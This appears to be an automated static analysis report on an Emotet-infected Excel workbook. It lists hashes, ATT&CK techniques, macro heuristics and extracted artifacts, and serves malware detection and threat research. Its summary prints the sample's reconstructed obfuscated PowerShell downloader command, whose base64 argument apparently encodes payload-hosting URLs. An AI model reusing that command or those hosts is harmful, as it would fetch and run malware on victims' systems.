Emotet — Office (OOXML) / .XLSX malware analysis

Static analysis result for SHA-256 6aae85d2b7c6cd8a…

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000
MD5: 44ecc6a9d56e6a630524fa09a9578189 SHA-1: cb5f0eac86662a309d6ef639c50f253e856ea0cf SHA-256: 6aae85d2b7c6cd8a19aa01417ac1803fa1fff108fe36c081ad046ec98e6c6418
200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a Workbook_Open macro that uses CreateObject to execute a batch file and a VBScript. The embedded commands within the DOC BODY attempt to construct and execute a PowerShell command. The ClamAV detection explicitly identifies this as Emotet, a known downloader family. The reconstructed PowerShell command is: 'hell -e&echo CGFhjCDFthjufcjftT46r hsbgr4jehgdfgDRHdRHdrt4ydds rtg4jth dir&echo etjlwejdfsgdsrYHDShD46dsrtydfghrg sdfgsdGDs46sdfHZSdgSwryoi&SET ertEWRt4=po&echo fkj3h5tidxhdfgokihJFjxxdsd4ghkxfghxd ghkw gfkjbgekedfghYdhjFxdf&SET cvFHDErte75s=wers&echo GJDrft678dYjdfGhSbgs5y7dfghGgEqwghcfghcghndt5tyuoghgh&SET oifYdFGhse34sd=nc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAZwBtAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBW'.

Heuristics 5

  • ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12041 bytes
vbaProject_00.bin
fb16971aba79003f80cd9d4919491c594ab1c4a726cae22c739b3add28896289		 vba-project OOXML VBA project: xl/vbaProject.bin 42496 bytes

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